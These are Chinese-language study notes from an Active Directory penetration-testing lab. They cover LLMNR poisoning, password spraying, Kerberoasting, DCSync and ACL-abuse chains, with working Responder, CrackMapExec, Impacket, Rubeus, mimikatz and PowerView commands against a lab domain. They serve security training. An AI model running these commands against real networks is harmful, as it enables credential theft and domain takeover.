Active Directory Enumeration & Attacks
LLMNR/NBT-NS Poisoning
LLMNR/NBT-NS 原理
當一台 Windows 電腦想要存取另一台主機(例如 \FileServer)時,它會依照以下順序進行解析:
- DNS (Domain Name System): 這是最優先的。電腦問 DNS 伺服器:「FileServer 的 IP 是多少?」如果 DNS 回答了,流程結束。
- LLMNR (Link-Local Multicast Name Resolution): 情境: 如果 DNS 壞了,或者使用者打錯字(打成 \FileSurver),DNS 會說「查無此人」。 動作: 這時電腦不會放棄,它會使用 UDP 5355 向區域網路發送 多播 (Multicast) 封包,大喊:「有沒有人知道 FileSurver 在哪裡?」
- NBT-NS (NetBIOS Name Service): 情境: 如果 LLMNR 也沒人回。 動作: 這是更古老的協定。電腦會使用 UDP 137 向區域網路發送 廣播 (Broadcast) 封包,再次大喊:「誰是 FileSurver?」
漏洞所在: LLMNR 和 NBT-NS 是「盲目信任」的協定。網路上的任何一台電腦都可以回答這個請求。 這就是駭客切入的點。
LLMNR/NBT-NS Poisoning 原理

步驟 5: 受害者之所以傳送當前使用者的憑證是為了證明身分
LLMNR/NBT-NS Poisoning 工具
| Tool | Description |
|---|---|
| Responder | Responder is a purpose-built tool to poison LLMNR, NBT-NS, and MDNS, with many different functions.(Python 編寫,主要運行於 Linux) |
| Inveigh | Inveigh is a cross-platform MITM platform that can be used for spoofing and poisoning attacks. ( 主要運行於 Windows) |
| Metasploit | Metasploit has several built-in scanners and spoofing modules made to deal with poisoning attacks. |
Using Responder
$ sudo responder -I ens224- -A (Analyze Mode):分析模式。只監聽不回應(不投毒)
- -w (WPAD):啟動 WPAD 惡意代理伺服器。Responder 會偽裝成擁有 wpad.dat 配置檔的伺服器,能抓到非常多的 HTTP 認證 Hash。
Eeyoreee@htb[/htb]$ ls
Analyzer-Session.log Responder-Session.logConfig-Responder.log SMB-NTLMv2-SSP-172.16.5.200.txtHTTP-NTLMv2-172.16.5.200.txt SMB-NTLMv2-SSP-172.16.5.25.txtPoisoners-Session.log SMB-NTLMv2-SSP-172.16.5.50.txtProxy-Auth-NTLMv2-172.16.5.200.txtUsing Inveigh
PS C:\htb> Import-Module .\Inveigh.ps1PS C:\htb> Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput YUsing C# Inveigh (InveighZero)
PS C:\htb> .\Inveigh.exe[*] Inveigh 2.0.4 [Started 2022-02-28T20:03:28 | PID 6276][+] Packet Sniffer Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8][+] Listener Addresses [IP 0.0.0.0 | IPv6 ::][+] Spoofer Reply Addresses [IP 172.16.5.25 | IPv6 fe80::dcec:2831:712b:c9a3%8][+] Spoofer Options [Repeat Enabled | Local Attacks Disabled][ ] DHCPv6[+] DNS Packet Sniffer [Type A][ ] ICMPv6[+] LLMNR Packet Sniffer [Type A][ ] MDNS[ ] NBNS<skip>- [+] 代表預設啟用
- [ ] 代表預設關閉
按下該 esc 鍵進入控制台並且可以使用 HELP
[-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from fe80::f098:4f63:8384:d1d0%8 [type ignored][-] [20:10:24] LLMNR(AAAA) request [academy-ea-web0] from 172.16.5.125 [type ignored][.] [20:10:24] TCP(1433) SYN packet from 172.16.5.125:61310[.] [20:10:24] TCP(1433) SYN packet from 172.16.5.125:61311C(0:0) NTLMv1(0:0) NTLMv2(3:9)> HELP可以看到各種命令可以使用
=============================================== Inveigh Console Commands ===============================================
Command Description========================================================================================================================GET CONSOLE | get queued console outputGET DHCPv6Leases | get DHCPv6 assigned IPv6 addressesGET LOG | get log entries; add search string to filter resultsGET NTLMV1 | get captured NTLMv1 hashes; add search string to filter resultsGET NTLMV2 | get captured NTLMv2 hashes; add search string to filter resultsGET NTLMV1UNIQUE | get one captured NTLMv1 hash per user; add search string to filter resultsGET NTLMV2UNIQUE | get one captured NTLMv2 hash per user; add search string to filter results<skip>可以輸入像是 GET NTLMV2UNIQUE , GET NTLMV2USERNAMES
拿到的 NetNTLMv2 特性:
- 不能直接用來 Pass-the-Hash
- 可以進行 SMB Relay
- 不進行離線破解,而是趁時間還沒過期將這組認證轉送 Target SMB / LDAP / HTTP
- 可以進行離線破解

Password Spraying
使用大量帳號但是單個密碼循環的暴力破解攻擊
好處是不容易被 Fail2Ban
Enumerating & Retrieving Password Policies
密碼政策的重要元件:

前提:當具有一組有效的 domain credentials:
在 Linux :
Eeyoreee@htb[/htb]$ crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol在 Windows :
C:\htb> net accountsPS C:\htb> import-module .\PowerView.ps1PS C:\htb> Get-DomainPolicy前提:如果沒有憑證:
可以用兩種方法分別是 SMB NULL Sessions、LDAP Anonymous Bind
SMB NULL Sessions from Linux
Eeyoreee@htb[/htb]$ rpcclient -U "" -N 172.16.5.5rpcclient $> querydominforpcclient $> getdompwinfoEeyoreee@htb[/htb]$ enum4linux -P 172.16.5.5Eeyoreee@htb[/htb]$ enum4linux-ng -P 172.16.5.5 -oA ilfreightSMB NULL Sessions from Windows (從 Windows 攻擊機上發動的攻擊)
建立空白會話
C:\htb> net use \\DC01\ipc$ "" /u:""error 1909 帳戶已鎖定 -> 代表使用者名稱是存在的!
C:\htb> net use \\DC01\ipc$ "password" /u:guestSystem error 1909 has occurred.
The referenced account is currently locked out and may not be logged on to.LDAP Anonymous Bind
Eeyoreee@htb[/htb]$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
forceLogoff: -9223372036854775808lockoutDuration: -18000000000lockOutObservationWindow: -18000000000lockoutThreshold: 5maxPwdAge: -9223372036854775808minPwdAge: -864000000000minPwdLength: 8modifiedCountAtLastProm: 0nextRid: 1002pwdProperties: 1pwdHistoryLength: 24在這裡我們可以看到最小密碼長度為 8,鎖定閾值為 5,密碼複雜度已設定(pwdProperties設定為1)
Making a Target User List
四種方法都可以枚舉 USER 第四種需要具有憑證,具有憑證的枚舉方式通常最有效
1. SMB NULL Session to Pull User List
$ enum4linux -U 172.16.5.5 | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"$ rpcclient -U "" -N 172.16.5.5$ crackmapexec smb 172.16.5.5 --users2. Gathering Users with LDAP Anonymous
$ ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "$ ./windapsearch.py --dc-ip 172.16.5.5 -u "" -U3. Enumerating Users with Kerbrute
原理: 利用 Kerberos Pre-Authentication 機制。發送 TGT 請求,如果 KDC 回應「需要預先驗證」,代表使用者存在;如果回應「Principal Unknown」,代表使用者不存在
$ kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt -o valid_users.txt4. Credentialed Enumeration to Build our User List
$ sudo crackmapexec smb 172.16.5.5 -u htb-student -p Academy_student_AD! --usersInternal Password Spraying
以 Linux 攻擊機為主
1. 使用 Bash 單行指令進行攻擊
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done2. 使用 Kerbrute 進行攻擊
$ kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome13. 使用 CrackMapExec 和過濾登入失敗
$ sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +4. 本機管理員密碼重複使用
前提:攻破了一台電腦的本機管理員
$ sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +以 Windows 攻擊機為主
PS C:\htb> Import-Module .\DomainPasswordSpray.ps1PS C:\htb> Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinueDeeper Down Enumerating
應用:通常在成功獲得一組低權限憑證後,利用該憑證深入挖掘網域資訊(使用者、群組、權限、共享資源等)的關鍵階段。
NOTE:至少需要取得使用者的明文密碼、NTLM 密碼雜湊值,或在已加入網域的主機上擁有 SYSTEM 存取權限
我們應該先調查目標環境中的防禦機制,以便決定接下來該使用什麼工具(或該避開什麼工具)。
Enumerating Security Controls
1. Windows Defender
PS C:\htb> Get-MpComputerStatusRealTimeProtectionEnabled: True-> 代表即時防護已開啟,你的惡意檔案落地或執行記憶體攻擊時會被掃描。AntispywareEnabled: True-> 反間諜軟體功能開啟。
2. AppLocker (應用程式白名單)
PS C:\htb> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
PathConditions : {%SYSTEM32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE}PathExceptions : {}PublisherExceptions : {}HashExceptions : {}Id : 3d57af4a-6cf8-4e5b-acfc-c2c2956061faName : Block PowerShellDescription : Blocks Domain Users from using PowerShell on workstationsUserOrGroupSid : S-1-5-21-2974783224-3764228556-2640795941-513Action : DenyAction: Deny + PathConditions: ...\powershell.exe-> 代表該路徑的 PowerShell 被禁止執行。- 繞過思路:管理者通常只封鎖了標準路徑(System32\WindowsPowerShell\v1.0\powershell.exe),卻忘記封鎖其他路徑
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe (32位元版本)或PowerShell_ISE.exe
3. PowerShell Constrained Language Mode (受限語言模式)
當啟用 CLM (Constrained Language Mode) 時,PowerShell 的功能會被大幅閹割
PS C:\htb> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage4. LAPS (本機管理員密碼解決方案)
LAPS是微軟用來防禦 Pass-the-Hash,它會自動隨機更換每台電腦的 Local Administrator 密碼,並將密碼儲存在 AD 中
我們的目標是找出 「哪些使用者/群組有權限讀取這些明文密碼」。
工具:LAPSToolkit
PS C:\htb> Find-LAPSDelegatedGroups:找出哪些群組(如 Domain Admins, HelpDesk)被授權讀取密碼。如果你能攻破這些群組中的任一使用者,你就能拿到所有電腦的管理員密碼。
PS C:\htb> Find-AdmPwdExtendedRights:檢查是否有使用者擁有 “All Extended Rights”。這是一種隱晦的權限,擁有此權限的人也能讀取 LAPS 密碼(這通常是配置疏失)。
PS C:\htb> Get-LAPSComputers:如果你目前的帳號剛好有權限,這個指令會直接噴出所有電腦的明文密碼 (Cleartext Password)。
Credentialed Enumeration - from Linux
1. CrackMapExec
Domain User Enumeration
$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --usersDomain Group Enumeration
$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groupsLogged On Users
$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-usersShare Searching
$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares$ sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share '<share_name>'spider_plus模組會遍歷主機上每個可讀的共用資料夾,並列出所有可讀檔案
查看結果
$ head -n 10 /tmp/cme_spider_plus/172.16.5.5.json2. SMBMap —— 專注於檔案權限
$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5Recursive List Of All Directories:
$ smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5 -R '<share_name>' --dir-only--dir-only快速瀏覽目錄結構
3. rpcclient —— 深入底層的枚舉
關鍵概念:SID 與 RID
- SID (Security Identifier): 代表整個網域的唯一識別碼。
- RID (Relative Identifier): 代表使用者的編號。
- RID 500 (0x1f4): 永遠是內建的 Administrator。
- RID 1000+: 通常是建立的一般使用者。
常用指令:
enumdomusers:列出所有使用者和他們的 RID。queryuser 0xRID:查詢特定 RID 的詳細屬性(如密碼上次設定時間、邏輯登入時間等)。
4. Impacket —— 橫向移動與執行
psexec.py
原理: 上傳一個隨機名稱的 .exe 到 ADMIN$ 共享,並註冊為服務來執行。 應用: 當對某台機器擁有 Local Admin 權限時,運行 psexec.py 可直接獲得 SYSTEM 權限 缺點: 檔案會落地,容易被防毒軟體 (AV/EDR) 殺掉。
psexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.125wmiexec.py 應用: 當你拿到了 Local Admin 密碼或 Hash,想連線過去,但不想觸發「建立服務」這種高風險警報時 優點: 不會在目標主機上留下文件或可執行檔案
wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.55. Windapsearch
使用 Python 進行 LDAP 查詢的工具。
Windapsearch - Domain Admins
$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da--da枚舉 Domain Admins 成員
Windapsearch - Privileged Users
$ python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU-PU檢查是否存在權限過高但可能未被發現的用戶
6. BloodHound.py —— 攻擊路徑視覺化
找出成為網域管理員的最短路徑
資料收集
$ sudo bloodhound-python -u 'forend' -p 'Klmcargo2' -ns 172.16.5.5 -d inlanefreight.local -c all查看結果並壓縮
Eeyoreee@htb[/htb]$ ls
20220307163102_computers.json 20220307163102_domains.json 20220307163102_groups.json 20220307163102_users.json
Eeyoreee@htb[/htb]$ zip -r ilfreight_bh.zip *.json開啟 BloodHound GUI
Eeyoreee@htb[/htb]$ sudo neo4j startEeyoreee@htb[/htb]$ bloodhoundCredentialed Enumeration - from Windows
當我們在已攻陷的 Windows 跳板機,並擁有一組有效的網域憑證時,該如何進行深度的 AD 枚舉。
1. ActiveDirectory PowerShell Module (微軟官方模組)
啟用模組:
PS C:\htb> Get-ModulePS C:\htb> Import-Module ActiveDirectory取得網域資訊:
PS C:\htb> Get-ADDomain尋找 Kerberoasting 目標 (SPN):
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName查看是否有外部信任 (External Trusts) 或樹系信任 (Forest Trusts):
Get-ADTrust -Filter *列出所有群組:
Get-ADGroup -Filter * | select name查看特定群組成員:
Get-ADGroupMember -Identity "Backup Operators"2. PowerView / SharpView

遞迴群組成員
PS C:\htb> Get-DomainGroupMember -Identity "Domain Admins" -Recurse
<skip>
GroupDomain : INLANEFREIGHT.LOCALGroupName : SecadminsGroupDistinguishedName : CN=Secadmins,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCALMemberDomain : INLANEFREIGHT.LOCALMemberName : spong1990MemberDistinguishedName : CN=Maggie Jablonski,OU=Operations,OU=Logistics-HK,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCALMemberObjectClass : userMemberSID : S-1-5-21-3842939050-3880317879-2865463114-1965
<SNIP>巢狀群組成員:使用者 spong1990 不是直接被加在 Domain Admins 名單裡的。她是加在 Secadmins 這個群組裡的
測試本機管理員存取權限
PS C:\htb> Test-AdminAccess -ComputerName ACADEMY-EA-MS01
ComputerName IsAdmin------------ -------ACADEMY-EA-MS01 True代表我們目前使用的管理員帳戶同時也是 ACADEMY-EA-MS01 的管理員
尋找已設定 SPN 的用戶
PS C:\htb> Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName
serviceprincipalname samaccountname-------------------- --------------adfsconnect/azure01.inlanefreight.local adfsbackupjob/veam001.inlanefreight.local backupagentd0wngrade/kerberoast.inlanefreight.local d0wngradekadmin/changepw krbtgtMSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433 sqldevMSSQLSvc/SPSJDB.inlanefreight.local:1433 sqlprodMSSQLSvc/SQL-CL01-01inlanefreight.local:49351 sqlqasts/inlanefreight.local solarwindsmonitortestspn/kerberoast.inlanefreight.local testspntestspn2/kerberoast.inlanefreight.local testspn2SharpView 使用方式:
- 語法與 PowerView 幾乎一致,只是以參數形式傳入。
- 範例:.\SharpView.exe Get-DomainUser -Identity forend
3. Snaffler (共享資料夾搜尋)
它會掃描網域內所有電腦的 SMB 共享資料夾 (Shares),並根據關鍵字尋找敏感檔案。
- 設定檔: web.config (常含有明文資料庫密碼)。
- 憑證檔: .kdbx (KeePass 資料庫), .ppk (SSH 金鑰), .rdp。
- 備份檔: .sql, .bak。
.\Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data4. BloodHound / SharpHound (攻擊路徑視覺化)
資料收集
.\SharpHound.exe -c All --zipfilename ILFREIGHTLiving Off the Land
本節將討論幾種利用 Windows 原生工具進行枚舉的技術
TODO
Kerberoasting
前提:執行 Kerberoasting 攻擊的前提條件是擁有網域使用者憑證
運作機制: 當使用者向 KDC(網域控制站)請求一張 TGS 票據時,你提供的並不是「帳號名稱」,而是 「SPN」。
流程如下:
- 你告訴 KDC:「我要存取
MSSQLSvc/DB01.inlanefreight.local:1433這個服務,請給我票據。」 - KDC 接收到請求後,會去 AD 資料庫(Global Catalog)搜尋:「請問哪個使用者的
servicePrincipalName屬性等於MSSQLSvc/DB01.inlanefreight.local:1433?」 - 由於 AD 強制 SPN 唯一性,KDC 只會找到 唯一的一個帳號(例如
svc_sql)。 - KDC 取出
svc_sql的密碼 NTLM Hash,用它來加密 TGS 票據,然後發送給你。
該攻擊核心就是暴力破解該服務帳號的 NTLM Hash ,且這些擁有 Service Principal Name (SPN) 的服務帳號往往擁有極高的權限(如 Domain Admin 或伺服器的 Local Admin)
工具:
- Impacket’s GetUserSPNs.py (Linux)
- Rubeus(Windows)
攻擊有效性: 當我們嘗試利用此攻擊手法,結果有三種可能
- 成功破解出明文密碼且是高權限
- 成功破解出明文密碼但是低權限,我們可以利用該演講得到高權限
- 破解失敗
Linux
使用 GetUserSPNs.py 進行 Kerberoasting
列出 SPN 帳戶
$ impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend看到哪些帳戶是 Domain Admin 的成員
請求所有TGS票據
$ impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request請求單張TGS票據
$ impacket-GetUserSPNs -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev- 也可以加上
-outputfile sqldev_tgs將TGS票據儲存到輸出文件
使用 Hashcat 離線破解票據
$ hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt針對 DC 測試身份驗證
如果成功破解 Domain Admin 的帳戶我們可以測試登入 DC
Eeyoreee@htb[/htb]$ sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!
SMB 172.16.5.5 445 ACADEMY-EA-DC01 [*] Windows 10.0 Build 17763 x64 (name:ACADEMY-EA-DC01) (domain:INLANEFREIGHT.LOCAL) (signing:True) (SMBv1:False)SMB 172.16.5.5 445 ACADEMY-EA-DC01 [+] INLANEFREIGHT.LOCAL\sqldev:database! (Pwn3d!Windows
兩種方式 PowerView 、 Rubeus
PowerView: 使用 PowerView 列舉 SPN 帳戶
PS C:\htb> Import-Module .\PowerView.ps1PS C:\htb> Get-DomainUser * -spn | select samaccountname
samaccountname--------------adfsbackupagentkrbtgtsqldevsqlprodsqlqasolarwindsmonitor使用 PowerView 定位特定用戶
PS C:\htb> Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat將所有工單匯出到 CSV 文件
PS C:\htb> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation接下來就離線破解
Rubeus:
查看統計數據
Rubeus.exe kerberoast /stats它會告訴你有幾個帳號可以攻擊、支援什麼加密類型 (RC4/AES),但不發送請求。
請求所有可能的票據
Rubeus.exe kerberoast /nowrap只請求那些 admincount=1 (通常是高權限帳號) 的票據
Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrapKerberos 票據使用不同的加密演算法,這直接影響破解速度。
- RC4 (Type 23):
- 特徵: Hash 以
$krb5tgs$23$開頭。 - 破解難度: 低。Hashcat 破解速度極快。
- 特徵: Hash 以
- AES-256 (Type 18):
- 特徵: Hash 以
$krb5tgs$18$開頭。 - 破解難度: 高。比 RC4 慢非常多。
- 特徵: Hash 以
在 Windows Server 2019 之前的 DC 可以利用加密降級的方式強制請求 RC4 票據
Rubeus.exe kerberoast /tgtdeleg /nowrap/tgtdeleg參數會欺騙 DC 說:「我只支援 RC4」,迫使 DC 降級發送 RC4 票據給你,讓你更容易破解
防禦與檢測
- 使用 GMSA (群組管理服務帳號)。這種帳號的密碼是隨機產生且由 AD 自動管理的,長度 120+ 字元,根本無法破解。
- 監控 Event ID 4769 (Kerberos Service Ticket Requested)。如果同一個使用者在短時間內請求了大量的 TGS 票據(例如 1 分鐘內請求了 20 個服務),這就是典型的 Kerberoasting 掃描特徵。
DCSync
這是一種網域持久化 (Persistence) 和 憑證竊取 (Credential Dumping) 的技術。一旦成功執行,攻擊者可以獲取網域中任何使用者的 NTLM hash(包含 krbtgt 和 Administrator)
只要擁有GetChanges 和 GetChangesAll 的組合就自動是DCSync
DCSync 攻擊原理
DCSync 並不是利用漏洞,而是濫用了 Active Directory 的 複寫 (Replication) 功能。
- 正常運作: 在一個網域中,所有的網域控制站 (DC) 必須互相「同步」資料(例如使用者密碼變更)。這透過 DRS-R (Directory Replication Service Remote Protocol) 協定來完成。
- 攻擊機制: 攻擊者偽裝成一台 DC,向真實的 DC 透過
DS-Replication-Get-Changes-All擴充權限發送請求,例如:「嗨,我是你的夥伴,請把所有使用者的密碼雜湊傳給我,我要同步資料。」
結果: 真實的 DC 只要確認你有權限,就會乖乖把整個 NTDS.dit 資料庫的機密內容吐出來。
執行條件 (Prerequisites)
要執行 DCSync,需要擁有以下 Extended Rights (擴充權限):
- DS-Replication-Get-Changes (複寫目錄變更)
- DS-Replication-Get-Changes-All (複寫所有目錄變更)
攻擊手法
方法 A:使用 Impacket secretsdump.py Extracting NTLM Hashes and Kerberos Keys Using secretsdump.py
$ secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5or$ secretsdump.py -just-dc-user <TargetUser> <Domain>/<User>@<DC_IP>-just-dc: 只抓取 NTDS 資料(不抓本機 SAM)。-just-dc-ntlm: 只抓 NTLM Hash。-pwd-last-set / -history: 查看密碼修改時間與歷史紀錄。Reversible Encryption: 如果有帳號設定了「可還原加密」,secretsdump 會自動解密並顯示 明文密碼 (Cleartext Password)。
找出網域中所有設定了『使用可還原加密來儲存密碼』的使用者
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControlGet-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol方法 B:使用 Mimikatz (Windows) 使用 Mimikatz 時,我們必須針對特定使用者。這裡我們將針對內建的管理員帳號。我們也可以針對該krbtgt帳戶並利用它來建立Golden Ticket持久化實例
使用 runas.exe
C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\adunn powershellPerforming the Attack with Mimikatz
PS C:\htb> .\mimikatz.exemimikatz # privilege::debugmimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator補充 runas
當你執行 runas /netonly /user:INLANEFREIGHT\adunn powershell 時,這個新視窗擁有兩種身分:
- 本機身分 (Local Identity):
- 你是誰? 你原本的使用者 (例如 htb-student)。
- 證據: 如果你在那個視窗打 whoami,它顯示的不是 adunn。
- 影響: 你在本機上的檔案存取權限、登錄檔權限,都還是舊的。
- 網路身分 (Network Identity):
- 你是誰? INLANEFREIGHT\adunn。
- 證據: 當這個視窗嘗試存取任何 網路資源 (UNC Path, RPC, SMB) 時,Windows 會自動拿出 adunn 的憑證來進行 Kerberos 或 NTLM 驗證。
- 影響: 遠端的伺服器(DC)看到的請求來源是 adunn。
後續:
- 你可以執行 mimikatz 竊取資料
- 執行 sharphound 收集資料
ACL
Access Control List (ACL) Abuse Primer
- ACL (Access Control List): 一個完整的清單
- DACL (Discretionary ACL): 這是重點。 定義誰可以允許或拒絕存取。
- SACL (System ACL): 用來做稽核(記錄日誌)的
- ACE (Access Control Entry): ACL 裡面的一條規則。
- 每一條 ACE 包含四個要素:
- Who: 誰有權限(SID)。
- What: access mask 什麼權限(讀取、寫入、完全控制)。
- Type: 允許 (Allow) 還是拒絕 (Deny)。
- Inheritance: 是否繼承給子物件。
Abusable ACEs

- A. ForceChangePassword (強制重設密碼)
- 能力: 你可以在不知道舊密碼的情況下,直接重設目標使用者的密碼。
- 攻擊: 重設 Domain Admin 的密碼 -> 登入 -> 奪取網域。
- 風險: 這是一種破壞性攻擊。重設密碼會導致原使用者無法登入,絕對會被發現。非必要勿用,或需先取得客戶同意。
- B. GenericWrite (寫入屬性)
- 能力: 你可以修改目標物件的非受保護屬性。
- 攻擊 1 (針對使用者): Targeted Kerberoasting。
- 原理:你在目標使用者身上寫入一個 SPN (Service Principal Name)。
- 後果:現在你可以對他進行 Kerberoasting 攻擊,請求票據並離線破解密碼。
- 攻擊 2 (針對群組): 將自己加入該群組。
- 攻擊 3 (針對電腦): RBCD (Resource-Based Constrained Delegation)。寫入
msDS-AllowedToActOnBehalfOfOtherIdentity屬性,讓你自己可以偽裝成任何人存取該電腦。
- C. AddSelf (將自己加入)
- 能力: 你可以把自己(或你控制的群組)加入到目標群組中。
- 攻擊: 如果目標是
Domain Admins,你就直接把自己加進去,遊戲結束。
- D. GenericAll (完全控制)
- 能力: 上帝模式。你對該物件擁有所有權限。
- 攻擊:你可以做上述所有事情(重設密碼、修改屬性、加群組)。如果目標是電腦且有 LAPS,你可以直接讀取 LAPS 本機管理員密碼。

ACL Enumeration
Enumerating ACLs with PowerView
TODO
Enumerating ACLs with BloodHound
一切的分析都從「你現在是誰」開始。在範例中,我們控制了使用者 wley。
- 操作: 在搜尋框輸入 wley,點擊該節點。
- 查看面板: 點擊 Node Info (節點資訊) 分頁。
- 關鍵數據:
- Outbound Control Rights (出站控制權):這代表「wley 可以控制誰」。
- First Degree Object Control (一級控制): 這是直接的權限。範例顯示 1,代表 wley 直接控制了 1 個物件。
- Transitive Object Control (傳遞/間接控制): 範例顯示 16,代表雖然 wley 只直接控制 1 個人,但透過連鎖反應(A控制B,B控制C…),wley 最終能影響 16 個物件。
ACL 濫用實戰演練
透過 bloodhound 可以發現我們可以執行 DCSync ( 同時具有 GetChanges 和 GetChangesAll 權限)
Bloodhound個權限的利用

路徑為: wley -> damundsen -> Help Desk Level 1 Group -> adunn -> DCsync
路徑 1.wley -> damundsen
BloodHound 告訴我們,wley 對 damundsen 有 ForceChangePassword 權限
1.使用 PowerShell 建立憑證物件 PSCredential 代表 wley
PS C:\htb> $SecPassword = ConvertTo-SecureString '<wley_PASSWORD>' -AsPlainText -ForcePS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword)2.建立一個 SecureString 對象表示我們要為 damundsen 設定的密碼
PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force3.使用 PowerView 的 Set-DomainUserPassword 強制將 damundsen 的密碼重設為我們設定的新密碼
PS C:\htb> cd C:\Tools\PS C:\htb> Import-Module .\PowerView.ps1PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentialsVERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully reset4.建立受害者 (damundsen) 的新憑證
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force$Cred2 = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)路徑2. damundsen -> Help Desk Level 1 Group
根據 BloodHound , damundsen 對 Help Desk Level 1 Group 存在 GenericWrite 權限,所以可以利用 PowerView 的 Add-DomainGroupMember,將 damundsen 自己加入到 Help Desk Level 1 群組中。
PS C:\htb> Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred2 -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentialsVERBOSE: [Add-DomainGroupMember] Adding member 'damundsen' to group 'Help Desk Level 1'確認 damundsen 已加入該群組
PS C:\htb> Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
MemberName----------busucherdamundsendpayne路徑3. Help Desk Level 1 Group -> adunn
Bloodhound 顯示:
Help Desk Level 1是Information Technology的成員(巢狀群組)。Information Technology對 adunn 擁有GenericAll(完全控制) 權限。
結論: 我們現在間接擁有了對 adunn 的完全控制權。
執行攻擊: 1.可以同上修改 adunn 密碼 2.SPN Jacking+Kerberoasting(偽造 SPN 來進行 Kerberoasting 攻擊)
以下針對第二種方法
創建虛假的SPN
PS C:\htb> Set-DomainObject -Credential $Cred2 -Identity adunn -SET @{serviceprincipalname='notahacker/LEGIT'} -VerboseKerberoasting with Rubeus
PS C:\htb> .\Rubeus.exe kerberoast /user:adunn /nowrap路徑4. adunn -> DCSync
Privileged Access
當我們還沒有 Local Admin 權限時,透過遠端存取協定 (Remote Access Protocols) 進行橫向移動可以利用主機權限:
- 發動進一步攻擊
- 我們或許能夠提升權限並取得更高權限使用者的憑證。
- 我們或許能夠從主機上竊取敏感資料或憑證。
遠端桌面 (RDP)
- 關鍵群組:
Remote Desktop Users。 - 枚舉方式:
PowerView:
PS C:\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Desktop Users"BloodHound: 查看CanRDP連線,或使用查詢Find Workstations/Servers where Domain Users can RDP。
- 戰術價值: 即使不是管理員,只要能 RDP 進去,就可以搜尋敏感檔案、利用本機提權漏洞 (Local Privilege Escalation),或者單純作為跳板。
PowerShell Remoting (WinRM)
- 原理: 透過
Port 5985(HTTP) 或Port 5986(HTTPS) 進行遠端指令執行。 - 關鍵群組:
Remote Management Users。 - 枚舉方式:
PowerView:
PS C:\htb> Get-NetLocalGroupMember -ComputerName ACADEMY-EA-MS01 -GroupName "Remote Management Users"BloodHound: 查看CanPSRemote連線。
- 攻擊工具:
- Linux:
